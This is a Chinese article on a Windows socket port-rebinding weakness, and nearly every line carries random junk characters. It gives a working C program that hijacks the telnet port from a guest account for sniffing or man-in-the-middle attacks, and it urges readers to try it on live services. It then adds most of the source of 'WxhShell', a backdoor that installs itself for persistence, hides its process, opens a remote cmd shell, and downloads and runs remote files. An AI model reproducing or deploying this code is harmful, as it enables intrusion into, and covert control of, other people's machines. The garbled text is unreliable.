在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
M\IdQY-c s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
e},:QL0X xt`a":lr u saddr.sin_family = AF_INET;
HL>l.IG? EUH9R8) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
_z.CV< s*i,Ph bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
\Ov~ t c5O8,sT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
kXUJlLod F*Yx1vj 这意味着什么?意味着可以进行如下的攻击:
dBN: {`J!DFfur 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
(r}StR+ \RFA?PuY 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
+#(GU9_i+M )fS6H<* 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
EKsOj&ZiJ HAs/f#zAk6 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1L\r:mx3 Py+ B 2G| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
q$}J/w(, ~=oCou`XF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ip8:~Fl] j"zW0g!S 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
;>X;cZMd _)3C_G1! #include
7suT26C #include
j-FMWEp #include
IM2<:N%' #include
4@a/k[, DWORD WINAPI ClientThread(LPVOID lpParam);
d+ $:u int main()
3(.Y>er%U {
k{ZQM WORD wVersionRequested;
`G*fx=N DWORD ret;
MD,BGO?C WSADATA wsaData;
9j5Z!Vsy BOOL val;
b#t5Dve SOCKADDR_IN saddr;
XQ}7.u! SOCKADDR_IN scaddr;
NPa4I7`A int err;
N"~P$B1X SOCKET s;
r(n>N0:0Ls SOCKET sc;
v6=X]Ji{YA int caddsize;
&/otoAr( HANDLE mt;
_ph1( !H$ DWORD tid;
j^f54Ky. wVersionRequested = MAKEWORD( 2, 2 );
Gs04)KJm< err = WSAStartup( wVersionRequested, &wsaData );
$h=v;1" if ( err != 0 ) {
vJx( lU`Y printf("error!WSAStartup failed!\n");
8Vt'X2 return -1;
{\LLiU}MJC }
} z7yS.{ saddr.sin_family = AF_INET;
mU||(;I f&] !;) //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
M$6;&T ZR{YpLFQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
j``Ku@/x0 saddr.sin_port = htons(23);
_Ii=3Qsf if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lC
d\nE8G {
a^O>i#i printf("error!socket failed!\n");
X>]<rEh return -1;
yRQNmR;Uy }
#}tdA(
- val = TRUE;
X1V~.kvt) //SO_REUSEADDR选项就是可以实现端口重绑定的
hOdU% if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
2G3Hi;q18 {
Wm)Id_ printf("error!setsockopt failed!\n");
I:MrX return -1;
uOd1:\%* }
0+w(cf~6 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
a,fcR< //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
C!^;%VQ}d //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=i/r: ]{ch]m if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
AB<bW3qf( {
N\CHIsVm> ret=GetLastError();
E^pn-rB printf("error!bind failed!\n");
AOTtAV_e return -1;
y4&x`|tv }
m-cw5lW listen(s,2);
X %7l!
k[ while(1)
PklJU:Pu\U {
4 .(5m\s! caddsize = sizeof(scaddr);
aH,NS
//接受连接请求
%[ o($a$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
@;S)j!m` if(sc!=INVALID_SOCKET)
q+w] Xs; {
fM*aZc*Y mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
)M7~RN if(mt==NULL)
<9;X1XtpI {
Ngm/5Lc printf("Thread Creat Failed!\n");
8'v:26 break;
s)sT\crP@ }
[DtMT6F3 }
Z 2$S'}F CloseHandle(mt);
MY(51)* }
#wh[F"zX closesocket(s);
RE]*fRe7# WSACleanup();
GW.Y=S return 0;
]RF(0; }
JX{rum DWORD WINAPI ClientThread(LPVOID lpParam)
0 r;tI" {
2B_+5 SOCKET ss = (SOCKET)lpParam;
Q}g"pl SOCKET sc;
]^@m $O unsigned char buf[4096];
PevT`\> SOCKADDR_IN saddr;
VZ9`Kbu long num;
v sYbR3O DWORD val;
_m%Ab3iT~ DWORD ret;
9.6ni1a' //如果是隐藏端口应用的话,可以在此处加一些判断
x
Y}.mP //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
gN<J0c) saddr.sin_family = AF_INET;
Scmew saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
,z+n@sUR: saddr.sin_port = htons(23);
#210 Yp# if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K_qA[n {
&u(pBr8B printf("error!socket failed!\n");
8Qkwg]X return -1;
OY!WEP$F-C }
ydE}.0zN val = 100;
jd}~#:FUr* if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#VZ
js`d6 {
0rAuK7 ret = GetLastError();
Jl$
X3wE return -1;
z07:E>D] }
?U2 'L2y if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
e_1L J {
xi)M8\K ret = GetLastError();
5<7sVd. return -1;
@ xTVX'$ }
wV4MP1c$ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
X%`:waR {
h+9~^<oFl printf("error!socket connect failed!\n");
vJb/.)gh] closesocket(sc);
DYgz;Y/%l closesocket(ss);
>;fn,9w return -1;
4-C'2? }
G
P '- while(1)
F-D$Y?m {
RXO5pd //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
D\pX@Sx,v[ //如果是嗅探内容的话,可以再此处进行内容分析和记录
V7
hO} //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
DJ!pZUO{ num = recv(ss,buf,4096,0);
Pup%lO`.0 if(num>0)
=n8M' send(sc,buf,num,0);
6ywOL'OBM else if(num==0)
>.hDt9@4 break;
M{YN^
Kk num = recv(sc,buf,4096,0);
(/!zHq if(num>0)
Q>L. send(ss,buf,num,0);
@q{.shqo else if(num==0)
nu[["f~ break;
GB)< 5I }
w)/~Gn676 closesocket(ss);
aTBFF closesocket(sc);
NA#,q 8 return 0 ;
ZRFHs>0 }
:fnK`RnaQ 6 8Vxy iY5V4Gbo ==========================================================
!3z
;u8W Mh}vr%0;) 下边附上一个代码,,WXhSHELL
_93:_L zbvV:9N ==========================================================
In;+wFu;M ZCNO_g #include "stdafx.h"
*\`<=,H6< !y$+RA7\ #include <stdio.h>
"2PT]! #include <string.h>
hsYv=Tw3C #include <windows.h>
b]N&4t #include <winsock2.h>
s$^2Qp #include <winsvc.h>
nB4+*=$E+- #include <urlmon.h>
#jPn7 FRayB VHL #pragma comment (lib, "Ws2_32.lib")
cV4Y=
& #pragma comment (lib, "urlmon.lib")
wv Mp~ +HG*T[%/ #define MAX_USER 100 // 最大客户端连接数
P4 #j;k4P #define BUF_SOCK 200 // sock buffer
KD--w(4 #define KEY_BUFF 255 // 输入 buffer
ENFM``dV# 2{B
ScI5K #define REBOOT 0 // 重启
iMQ0Sq-%1 #define SHUTDOWN 1 // 关机
,MG`}*N} }R_Rw:W #define DEF_PORT 5000 // 监听端口
d\r-)VWSr" F]s:`4 #define REG_LEN 16 // 注册表键长度
x1}Ono3"T #define SVC_LEN 80 // NT服务名长度
Uyd' uC ^S!;snhn // 从dll定义API
8U!$()^? typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Ms-)S7tMz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"ZFH_5< typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
#WAX&<m typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
a TPq1u v3<q_J'qT // wxhshell配置信息
^Ww5@ struct WSCFG {
g1Osd7\o int ws_port; // 监听端口
s3VD6xi7 char ws_passstr[REG_LEN]; // 口令
2)-4?uz~ int ws_autoins; // 安装标记, 1=yes 0=no
?MS!t6 char ws_regname[REG_LEN]; // 注册表键名
{P)O# char ws_svcname[REG_LEN]; // 服务名
YoWXHg!U char ws_svcdisp[SVC_LEN]; // 服务显示名
/NxuNi;5 char ws_svcdesc[SVC_LEN]; // 服务描述信息
"|V}[ 2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
8O[l[5u& int ws_downexe; // 下载执行标记, 1=yes 0=no
be?Bf^O> char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
5gb:,+ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uJ0Wb$% }^^c/w_ };
"+Sq}WR _z9~\N/@[ // default Wxhshell configuration
F6C7k9 struct WSCFG wscfg={DEF_PORT,
XCO8A\ "xuhuanlingzhe",
vb}c)w
dp? 1,
dEW= V"W "Wxhshell",
mmy/YP) "Wxhshell",
v 7%}ey[ "WxhShell Service",
)UyJ.!Fly "Wrsky Windows CmdShell Service",
'6L@l "Please Input Your Password: ",
;WhRDmT 1,
(*AJ6BQWa "
http://www.wrsky.com/wxhshell.exe",
"{zqXM}:C "Wxhshell.exe"
ImbA2Gcs };
;^|):x+O 6{yn;D4 // 消息定义模块
_'*(-K5& char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
r`<x@, char *msg_ws_prompt="\n\r? for help\n\r#>";
8q;
aCtei char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
%P:|B:\< char *msg_ws_ext="\n\rExit.";
[ 6Sk>j char *msg_ws_end="\n\rQuit.";
vG\
b` char *msg_ws_boot="\n\rReboot...";
@jrxbo;5 char *msg_ws_poff="\n\rShutdown...";
^)C# char *msg_ws_down="\n\rSave to ";
ekqS=KfWl; .K`n;lVs char *msg_ws_err="\n\rErr!";
-<M+ $hK\ char *msg_ws_ok="\n\rOK!";
'pB? JVr8O`>T char ExeFile[MAX_PATH];
w^,Xa int nUser = 0;
WZh_z^rwn HANDLE handles[MAX_USER];
y,w_x,m int OsIsNt;
&>QxL d# )<qL8#["U SERVICE_STATUS serviceStatus;
[jrfh>v SERVICE_STATUS_HANDLE hServiceStatusHandle;
Gl[1K/,* XL'\$f // 函数声明
yB 'C9wEH int Install(void);
+wQ}ZP& int Uninstall(void);
2b-g`60< int DownloadFile(char *sURL, SOCKET wsh);
u6| IKZ int Boot(int flag);
4;eD}g void HideProc(void);
JAT%s
%UC int GetOsVer(void);
@AK&R~< int Wxhshell(SOCKET wsl);
@]p{%" $ void TalkWithClient(void *cs);
=K}T; c int CmdShell(SOCKET sock);
.?LRt int StartFromService(void);
k!'+7K. int StartWxhshell(LPSTR lpCmdLine);
MU\Pggs #)]/wqPoW VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
mIqm/5 VOID WINAPI NTServiceHandler( DWORD fdwControl );
'?g&);4)k- 0Ng?U+6 // 数据结构和表定义
M^>l>?#rl SERVICE_TABLE_ENTRY DispatchTable[] =
lcgG5/82 {
L4bYVTm| {wscfg.ws_svcname, NTServiceMain},
yrl7 {NULL, NULL}
WNKg>$M };
0rm(i*Q o[i*i<jv- // 自我安装
dDD5OnWmJ int Install(void)
O f-xGoYZ {
S.q0L char svExeFile[MAX_PATH];
bOp% HKEY key;
D5f[: strcpy(svExeFile,ExeFile);
(hg6<` 8Op^6rX4 // 如果是win9x系统,修改注册表设为自启动
oN%zpz;OR if(!OsIsNt) {
6a_U[-a9; if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
{<-wm-]mo RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
DiTpjk]c` RegCloseKey(key);
S\Le;,5Z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
l-S0Gn/'X RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lnLy"f"zV RegCloseKey(key);
e4tC[6 ; return 0;
t%0c$c }
Lo5pn }
USHQwn)% }
d2^/ else {
K_-m:P hZ!kh3@:` // 如果是NT以上系统,安装为系统服务
"?lz[K> SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
OEXa}K# if (schSCManager!=0)
rm$dv%q {
R. Fl5B SC_HANDLE schService = CreateService
} # L_R (
+
#E?) schSCManager,
7J
?s&x wscfg.ws_svcname,
B([-GpZt[ wscfg.ws_svcdisp,
'J5F+,\Ka SERVICE_ALL_ACCESS,
K2e*AE* SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
wu`+KUx SERVICE_AUTO_START,
U^% )BI SERVICE_ERROR_NORMAL,
c~;VvYu svExeFile,
!
Vlx NULL,
('$*QC.M NULL,
_ qwf3Q@ NULL,
*N:0L,8 NULL,
*+2_!=4V NULL
@!O(%0
= );
DT)][V^w if (schService!=0)
8{ =ha {
~(huUW CloseServiceHandle(schService);
lSO$Q]!9 CloseServiceHandle(schSCManager);
'
i<4;=M& strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Un,'a8>V` strcat(svExeFile,wscfg.ws_svcname);
udIm}jRA" if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
-.ZP<,?@F RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
\i@R5v=zL RegCloseKey(key);
.:B>xg~2 return 0;
);6f8H@G }
?%Tx%
dB }
MPy><J CloseServiceHandle(schSCManager);
`Syfl^9B }
4z26a }
a?8)47) v+`'%E return 1;
R5(([C1 }
}4H}*P> + (v|<"
tv // 自我卸载
3dLqlJ^7B int Uninstall(void)
+`>E_+Mp {
s/s&d pT* HKEY key;
wU<j=lY?f n:) [%on if(!OsIsNt) {
47Bg[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
+PI}$c-|` RegDeleteValue(key,wscfg.ws_regname);
OVU)t] RegCloseKey(key);
nvXjW@)` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.=t:Uy RegDeleteValue(key,wscfg.ws_regname);
{;& U5<NO RegCloseKey(key);
Y~A I2H S return 0;
}1~9i'o%Z }
#N>66!/V }
js"5{w& }
)oz2V9X{ else {
b=pk;'- J:>o\%sF SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
|YyNqwP`, if (schSCManager!=0)
J'7;+.s( {
GEh( pJ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
VKX|0~ if (schService!=0)
vM5/KrW {
e@TwZ6l if(DeleteService(schService)!=0) {
"J2q|@. CloseServiceHandle(schService);
%6 GM[1__ CloseServiceHandle(schSCManager);
*AGf'+j*z return 0;
9#&H'mG }
yt="kZ CloseServiceHandle(schService);
W}
H~ka }
=BE ! CloseServiceHandle(schSCManager);
Y)1J8kq_ }
qGEp 6b H }
QT^b-~^ svl!"tMXl return 1;
6o\uv }
K<`Z@f3'w l"nS+z // 从指定url下载文件
0H^*VUyW/ int DownloadFile(char *sURL, SOCKET wsh)
<!UnH6J.b {
kh2TDxa& HRESULT hr;
PsXCpyY!s char seps[]= "/";
FdzdoMY char *token;
|m"Gr)Gm char *file;
#y7 MB6- char myURL[MAX_PATH];
RA!m,"RM char myFILE[MAX_PATH];
5wh(Qdib YfZ5Q}*1O+ strcpy(myURL,sURL);
k~:(.)Nr token=strtok(myURL,seps);
mZ? jpnd while(token!=NULL)
c)N_"#& {
tj00xYY file=token;
0Bp0ScE|FA token=strtok(NULL,seps);
|}e"6e% }
YqXN|& n#WOIweInf GetCurrentDirectory(MAX_PATH,myFILE);
`|"o\Bg< strcat(myFILE, "\\");
jqj}j2
9 strcat(myFILE, file);
K%BFR,)g send(wsh,myFILE,strlen(myFILE),0);
7^Us send(wsh,"...",3,0);
)>b1%x} = hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
_C1u}1hW# if(hr==S_OK)
h82y9($cZ return 0;
XPq`;<G else
pp*MHM)x|q return 1;
imwn)]L R yGWl8\,j0 }
QjJlVlp Fd80T6[ // 系统电源模块
gMq; int Boot(int flag)
_}']h^@Z {
C'l\4ij)7 HANDLE hToken;
~
W8
M3(^ TOKEN_PRIVILEGES tkp;
*"F*6+}w" n31nORx50 if(OsIsNt) {
l,A\]QDvl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
F3Da-6T@ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
{/?{UbU tkp.PrivilegeCount = 1;
CnY dj~ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
r[kHVT8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.1J`>T?=Q if(flag==REBOOT) {
6~s{HI! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
2%fkXH< return 0;
aG@GJ@w }
ji ,`? else {
5y0LkuRR: if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
)F'hn+(B|G return 0;
uSCI }
flBJO.2 }
/dX,]OFm else {
hiR+cPSF if(flag==REBOOT) {
OQuTM[W if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
H0.&~!,* return 0;
waV4~BdL }
!a5e{QG0 else {
_J3\e%ys if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
dwzk+@]8 return 0;
Dp@m"_1`+ }
SnO,-Rg }
J/ vcP tE=$# return 1;
dUceZmAl }
z5[Qh<M 2fUz}w ( // win9x进程隐藏模块
hM(Hq4ed, void HideProc(void)
D%'rq {
ux7g%Q^" Y:'c<k HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
QO,ge<N+N if ( hKernel != NULL )
z]i/hU {
ue}lAW{q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
(W`=`]! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
;wr]_@<~ FreeLibrary(hKernel);
=1F F2#zS }
?[O Sy.6 Z:MU5(Te return;
Yg`z4U'6~ }
KH1/B_.\V TUO#6 // 获取操作系统版本
9n".Q-V;k int GetOsVer(void)
2)
A$bx {
=G<S!qW OSVERSIONINFO winfo;
Wuji'sxTs winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
JvLa@E) GetVersionEx(&winfo);
x "PMi[4 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
nHL(v return 1;
z#|tl/aP9 else
r+Y]S-o: return 0;
JE+{Vx} }
8c'E ;0\ // 客户端句柄模块
`L}Irt} int Wxhshell(SOCKET wsl)
Bbx.RL.V {
~ +z'pK~c SOCKET wsh;
~4~>;e struct sockaddr_in client;
v~>4c<eG
DWORD myID;
xo_Es? 4;d9bd)A while(nUser<MAX_USER)
niN$!k+Jr {
^?tF'l` int nSize=sizeof(client);
E>?T<!r~j wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
/ZKO\q if(wsh==INVALID_SOCKET) return 1;
"n@=.x s?*MZC handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
N5[fwz
w if(handles[nUser]==0)
~8EG0F;t closesocket(wsh);
5lC "10 else
KArnNmJ9 nUser++;
# 1,(I }
cS ;hyLd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`+QrgtcEy4 rT
~qoA\ return 0;
S<LHNZu|^A }
,saf"Ed= <H~ (iQ // 关闭 socket
#3u;Ox void CloseIt(SOCKET wsh)
Os1(28rl {
.
\fzK closesocket(wsh);
7@Qz nUser--;
j=d@Ih* ExitThread(0);
4jrY3gyBX }
kf$0}T` lG;sDR|)( // 客户端请求句柄
F
3}cVO2bY void TalkWithClient(void *cs)
OY6lt.t {
%c(':vI# y)!K@ SOCKET wsh=(SOCKET)cs;
X4Eq/q" char pwd[SVC_LEN];
A=|&N%lP' char cmd[KEY_BUFF];
Wel-a<
e char chr[1];
aC$hg+U$G int i,j;
<$HP"f+<S5 1<
;<? while (nUser < MAX_USER) {
vh+IhGi
*}0g~8Gp if(wscfg.ws_passstr) {
BxO8oKe if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
p}}o#a~V), //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
j#0@%d //ZeroMemory(pwd,KEY_BUFF);
+kQ$X{+;8 i=0;
Qg9 N?e{z while(i<SVC_LEN) {
TgVvp0F; 50Co/-)j // 设置超时
x2[A(O= fd_set FdRead;
' Ky5|4 struct timeval TimeOut;
Dw?nf FD_ZERO(&FdRead);
3xh~xE FD_SET(wsh,&FdRead);
4r5?C;g TimeOut.tv_sec=8;
J(VJMS;_ TimeOut.tv_usec=0;
*<zfe. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Y|g8xkI}XB if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
vWcU+GBZI -Yy,L%E]F: if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
: }v&TQ pwd
=chr[0]; <MI>>$seiJ
if(chr[0]==0xd || chr[0]==0xa) { \;}F6g
pwd=0; {?17Zth
break; m49GCo k+
} uMtq4.
i++; )VID
;l;4
} J"L+`i
(qnzz!s
// 如果是非法用户,关闭 socket ^i2W=A'P
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kcVEE)zb
} L\XnTL{
{ ,qm=Xjq
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ds,NNN<HW
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >fPa>[_1
[84ss;.$
while(1) { r1yz ?Y_P
/mX/
"~
ZeroMemory(cmd,KEY_BUFF); KyK%2:
$+!/=8R)
// 自动支持客户端 telnet标准 V<Q''%k
j=0; U6e 0{n
while(j<KEY_BUFF) { UmcPpZ
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w
xKlBx7
cmd[j]=chr[0]; +]
>o@
if(chr[0]==0xa || chr[0]==0xd) { lO! Yl:;m%
cmd[j]=0; `+[Ct08
break; w5w,jD[
} >
L_kSC?
j++; V6P2W0m
} sygxV
4t]ccqX*{
// 下载文件 mZQW>A]iE
if(strstr(cmd,"http://")) { uT:'Kkb!
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @k['c
if(DownloadFile(cmd,wsh)) e`9d&"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4u- mE
else 82l$]W 4
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y S/x;
}
A[:0?Ez=
else { gb+iy$o-
U{/d dCf7
switch(cmd[0]) { @6\Id7`Ea
LH/lnrN
// 帮助 Cw6\'p%l-\
case '?': { 4eH:eCZze
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); .8Eh[yiln
break; {\zTE1X9
} 1T&NU
// 安装 B'}h6ZH
case 'i': { \#Md3!MG
if(Install()) LCBP9Rftvd
send(wsh,msg_ws_err,strlen(msg_ws_err),0); NULew]:5
else 1eHU!{<fqm
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kjAARW
break; S7pf
QF
} c8z6-6`i0
// 卸载 X83,fCCl5
case 'r': { O-P'Ff"}t
if(Uninstall()) `Iwl\x[A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g0({$2Q7R
else Qe,jK{Y<
-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7R5m|h`M
break; {Kh^)oYdd
} }2xgm9j<
// 显示 wxhshell 所在路径 wrP3:!=
case 'p': { -S\gDB bb
char svExeFile[MAX_PATH]; Ei>.eXUD5
strcpy(svExeFile,"\n\r"); jVlXB6[-
strcat(svExeFile,ExeFile); <JUumrEo
send(wsh,svExeFile,strlen(svExeFile),0); Z
FIy
break; 79&=MTM
} G VT|
fE
// 重启 Qg6tJB
case 'b': { Vh ?5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); pTB1 I3=.u
if(Boot(REBOOT)) `d c&B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xig4H7V
else { J]W?
Vvv
closesocket(wsh); h\T}$jgfWm
ExitThread(0); P*|qbY
} Xr."C(`w
break; s4uZ >
} G^ShN45
// 关机 4Sz2
9\X
case 'd': { xWK0p'E0
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Gq=tR `.
if(Boot(SHUTDOWN)) ^*G
UcQ$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b.q/?
Yx
else { <=~*`eWV
closesocket(wsh); ?%cZO"
ExitThread(0); dvE~EZcS
} rF$S
break; btOx\y}
} :FUxe kz
// 获取shell (%j V[Q
case 's': { _BEDQb{"|
CmdShell(wsh); XL/V>`E@
closesocket(wsh); w1EB>!<;tj
ExitThread(0); i"0*)$
hW
break; FKtG
} wwN kJ+
// 退出 a|5<L
case 'x': { C).+h7{nd
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ba tXj]:
CloseIt(wsh); d};[^q6X
break; N(e>]ui
} SB|Cr:wM
// 离开 UGxF}Q
case 'q': { HXN. ,[
send(wsh,msg_ws_end,strlen(msg_ws_end),0); [F!h&M0z
closesocket(wsh); DW>O]\I
WSACleanup(); B qo#cnlG
exit(1); i# fvF)
break; 8M0<:p/
} _H@8qR
} |.b&\
} IrIW>r} -
`46|VQAx
// 提示信息 _&N:%;9uD
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v8 II=9
} RT2&^9-
} _PLZ_c:O
*'BI=*`
return; tI
} o{' JO3
<O41M\,
// shell模块句柄 >CqZ75>
int CmdShell(SOCKET sock) *&5./WEOH
{ uF{l`|b'
STARTUPINFO si; mqBX1D`e2
ZeroMemory(&si,sizeof(si)); ?es9j]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z1h6Y>j
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =y^g*9}_
PROCESS_INFORMATION ProcessInfo; 'X\C/8\
char cmdline[]="cmd"; 29W`L2L
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .G}$jO}
return 0; o9v.]tb
} MIu'OJ"z~
3!Mb<W.3
// 自身启动模式 #%]?e
N
int StartFromService(void) `uc`vkVZ
{ QbYNL9%
typedef struct ()fYhk|W
{ ZC &~InN
DWORD ExitStatus; Va/}|&9
DWORD PebBaseAddress; q#0yu"<
DWORD AffinityMask; G&yF9s)Lvs
DWORD BasePriority; BO 3z$c1yU
ULONG UniqueProcessId; aSeh?2n8
